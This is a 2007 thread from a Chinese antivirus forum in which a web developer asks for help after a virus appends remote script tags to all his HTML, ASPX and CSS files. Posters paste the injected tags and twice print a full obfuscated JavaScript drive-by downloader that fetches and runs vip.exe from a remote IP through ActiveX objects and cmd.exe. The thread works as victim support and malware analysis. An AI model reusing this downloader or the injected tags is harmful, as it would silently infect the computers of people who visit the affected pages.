求助，我中毒了 bbs.ikaka.com

飞天名猪 - 2007-7-1 16:08:00

病毒会把我机器上所有的网页格式的文件比如aspx,html，等最后加上
<script language=javascript src=http://www.1717av.com/1717.js></script>
所有的css文件，最后面加上
body{background-image: url('javascript:document.write("<script src=http://www.1717av.com/1717.js></script>")')}

我快疯了，谁来99我，有哪位高手，直接把www.1717av.com黑了算了

这是什么病毒？

咔嚓咔吧 - 2007-7-1 16:11:00

对于菜鸟来说
最简单的办法就是清除病毒后
用HOSTS表屏蔽www.1717av.com这个网站

咔嚓咔吧 - 2007-7-1 16:11:00

中了变种威金后出现此现象

飞天名猪 - 2007-7-1 16:13:00

用HOSTS表屏蔽www.1717av.com这个网站

请教这样怎么做，详细一点，谢谢

baohe - 2007-7-1 16:14:00

引用:

【飞天名猪的贴子】病毒会把我机器上所有的网页格式的文件比如aspx,html，等最后加上
<script language=javascript src=http://www.1717av.com/1717.js></script>
所有的css文件，最后面加上
body{background-image: url(''document.write("<script src=http://www.1717av.com/1717.js></script>")'')}

我快疯了，谁来99我，有哪位高手，直接把www.1717av.com黑了算了

这是什么病毒？
………………

1717.js执行后，跳转到http://58.221.28.40/www/web.htm。
这个网页已经死掉了

附件: 155847200771160442.jpg

飞天名猪 - 2007-7-1 16:18:00

版主真是太勇敢了
你把web.html查看一下源文件，会发现，其实还有东西
<iframe src="vip1.htm" width="0" height="0" border="0"></iframe>
<iframe src="vip2.htm" width="0" height="0" border="0"></iframe>
<iframe src="vip.htm" width="50" height="0" border="0"></iframe>

咔嚓咔吧 - 2007-7-1 16:19:00

BAOHE斑竹大意了
没看见下面有个站长统计吗
这是伪装的!!!!

飞天名猪 - 2007-7-1 16:19:00

vip1.htm打开是这个
<noscript>
<iframe src=*></iframe>
</noscript>
<script>
function gn(rRaGEykU1){var Orh2=window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()*rRaGEykU1;return'\x7e\x74\x6d\x70'+'\x2e\x74\x6d\x70'}try{vip='http://58.221.28.40/www/vip.exe';var chenzi=window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x6f\x62\x6a\x65\x63\x74");chenzi["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"]("\x63\x6c\x61\x73\x73\x69\x64","\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36");var ps=chenzi["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58"+"\x4d"+"\x4c"+"\x48"+"\x54"+"\x54"+"\x50","");var love=chenzi["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d","");love["\x74\x79\x70\x65"]=1;ps["\x6f\x70\x65\x6e"]("\x47\x45\x54",vip,0);ps["\x73\x65\x6e\x64"]();china=gn(10000);var hHf$R6=chenzi["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x53\x63\x72\x69\x70\x74\x69\x6e\x67\x2e\x46\x69\x6c\x65\x53\x79\x73\x74\x65\x6d\x4f\x62\x6a\x65\x63\x74","");var VgDnZXHt7=hHf$R6["\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6c\x46\x6f\x6c\x64\x65\x72"](0);china=hHf$R6["\x42\x75\x69\x6c\x64\x50\x61\x74\x68"](VgDnZXHt7,china);love["\x4f\x70\x65\x6e"]();love["\x57\x72\x69\x74\x65"](ps["\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79"]);love["\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65"](china,2);love["\x43\x6c\x6f\x73\x65"]();var SmAcqIwGV8=chenzi["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e","");exp1=hHf$R6["\x42\x75\x69\x6c\x64\x50\x61\x74\x68"](VgDnZXHt7+'\\\x73\x79\x73\x74\x65\x6d\x33\x32','\x63\x6d\x64\x2e\x65\x78\x65');SmAcqIwGV8["\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65"](exp1,' \x2f\x63 '+china,"","\x6f\x70\x65\x6e",0)}catch(i){i=1}
</script>
<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>
<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false">

飞天名猪 - 2007-7-1 16:20:00

向以身试毒的版主表示敬意....

baohe - 2007-7-1 16:21:00

引用:

【飞天名猪的贴子】版主真是太勇敢了
你把web.html查看一下源文件，会发现，其实还有东西
<iframe src="vip1.htm" width="0" height="0" border="0"></iframe>
<iframe src="vip2.htm" width="0" height="0" border="0"></iframe>
<iframe src="vip.htm" width="50" height="0" border="0"></iframe>
………………

这种DD，看也没什么意思。死的就是死的。

附件: 155847200771161124.jpg

咔嚓咔吧 - 2007-7-1 16:22:00

现在的"黑客"真是太牛了
斑竹不要看是HTML就认为是静态
黑客只要在里面加个判断
就可以判断上一页的来源
下载转向那一页
直接访问转向那一页
况且如果直接替代错误页DLL的话
.....
他们不是真正的黑客

飞天名猪 - 2007-7-1 16:22:00

楼上的，这个方法怎么用，请教一下，先暂时应付一下，不然杀完以后不小心打开一个网页又挂了
用HOSTS表屏蔽www.1717av.com这个网站

我真是想死的心都有了，我是写网页程序的....我机器上所有的源代码
55555555555555

baohe - 2007-7-1 16:23:00

引用:

【飞天名猪的贴子】vip1.htm打开是这个
<noscript>
<iframe src=*></iframe>
</noscript>
<script>
function gn(rRaGEykU1){var Orh2=window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()*rRaGEykU1;return''\x7e\x74\x6d\x70''+''\x2e\x74\x6d\x70''}try{vip=''http://58.221.28.40/www/vip.exe'';var chenzi=window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x6f\x62\x6a\x65\x63\x74");chenzi["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"]("\x63\x6c\x61\x73\x73\x69\x64","\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36");var ps=chenzi["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58"+"\x4d"+"\x4c"+"\x48"+"\x54"+"\x54"+"\x50","");var love=chenzi["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d","");love["\x74\x79\x70\x65"]=1;ps["\x6f\x70\x65\x6e"]("\x47\x45\x54",vip,0);ps["\x73\x65\x6e\x64"]();china=gn(10000);var hHf$R6=chenzi["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x53\x63\x72\x69\x70\x74\x69\x6e\x67\x2e\x46\x69\x6c\x65\x53\x79\x73\x74\x65\x6d\x4f\x62\x6a\x65\x63\x74","");var VgDnZXHt7=hHf$R6["\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6c\x46\x6f\x6c\x64\x65\x72"](0);china=hHf$R6["\x42\x75\x69\x6c\x64\x50\x61\x74\x68"](VgDnZXHt7,china);love["\x4f\x70\x65\x6e"]();love["\x57\x72\x69\x74\x65"](ps["\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79"]);love["\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65"](china,2);love["\x43\x6c\x6f\x73\x65"]();var SmAcqIwGV8=chenzi["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e","");exp1=hHf$R6["\x42\x75\x69\x6c\x64\x50\x61\x74\x68"](VgDnZXHt7+''\\\x73\x79\x73\x74\x65\x6d\x33\x32'',''\x63\x6d\x64\x2e\x65\x78\x65'');SmAcqIwGV8["\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65"](exp1,'' \x2f\x63 ''+china,"","\x6f\x70\x65\x6e",0)}catch(i){i=1}
</script>
<script type="text/jscript">function init() { document.write("");}window. = init;</script>
<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false">

………………

附件: 155847200771161327.jpg

咔嚓咔吧 - 2007-7-1 16:24:00

引用:

【飞天名猪的贴子】楼上的，这个方法怎么用，请教一下，先暂时应付一下，不然杀完以后不小心打开一个网页又挂了
用HOSTS表屏蔽www.1717av.com这个网站

我真是想死的心都有了，我是写网页程序的....我机器上所有的源代码
55555555555555
………………

既然是写网页程序的
麻烦用VBS自己写吧

飞天名猪 - 2007-7-1 16:25:00

http://58.221.28.40/www/vip1.htm

飞天名猪 - 2007-7-1 16:27:00

我记得windows好象有个方法可以自动转向的、
就是在某个系统文件里面加入这个网址，然后在访问这个网址的时候，就会转向指定的一个地址

我忘记是在哪个文件里面改了，以前好象看到过的

咔嚓咔吧 - 2007-7-1 16:27:00

你先把改的文件拷到一个U盘上
然后直接爸U盘
插入别的电脑时按CLTR键
等10秒后
在地址栏输入盘符
进入
然后用DW自己搜关键词

咔嚓咔吧 - 2007-7-1 16:29:00

你先把改的文件拷到一个U盘上
然后直接爸U盘
插入别的电脑时按CLTR键
等10秒后
在地址栏输入盘符
进入
然后用DW自己搜关键词

baohe - 2007-7-1 16:30:00

引用:

【飞天名猪的贴子】http://58.221.28.40/www/vip1.htm
………………

特意换了个有漏洞的IE浏览器去访问——————还是没戏！

附件: 155847200771162034.jpg

咔嚓咔吧 - 2007-7-1 16:33:00

BAOHE斑竹的机器可能设置禁止脚本了吧

咔嚓咔吧 - 2007-7-1 16:34:00

听说以前有个漏洞
JAVASCRIPT脚本源代码隐藏漏洞
该不会是....

咔嚓咔吧 - 2007-7-1 16:36:00

或者这3个文件必须同时访问才有效
中了毒的机器有特别的设置???

飞天名猪 - 2007-7-1 16:37:00

我都不敢访问他这个东西，我是用训雷下载这个网页，然后再本地用记事本打开看的，网页本身确实是没什么东西，主要就是一段javascript脚本，没有其他的东西，如果作为网页打开看的话，是空白的话是很正常的。
至于为什么你那边没有中毒，这我就搞不清楚了，莫非我的IE需要打补丁？

咔嚓咔吧 - 2007-7-1 16:39:00

http://58.221.28.40/www/vip.exe
不知道这个是不是
我想装个SSM应该就没事了
点俩拒绝就OK
除非系统漏洞

咔嚓咔吧 - 2007-7-1 16:41:00

你在C:\Program Files\Common Files搜一下 notepad.exe

飞天名猪 - 2007-7-1 16:51:00

楼上的那个路径搜索不到notepad.exe

好象访问那个带毒网页的时候我的机器能实时监控出来
win32.hostblock
而且是一个IMAGEH[1].gif
显示已经处理，但是还是好怕怕，万一什么时候文件又全被改了

飞天名猪 - 2007-7-1 16:53:00

我机器上这个病毒还是存在，刚辛苦替换掉，查了一下又回来了

咔嚓咔吧 - 2007-7-1 17:01:00

安全模式不用试没戏了

飞天名猪 - 2007-7-1 17:02:00

我在安全模式下已经杀过一次了，结果还有神啊，谁来99我

cheerysd - 2007-7-3 17:39:00

我也中了啊,RI

瑞星卡卡安全论坛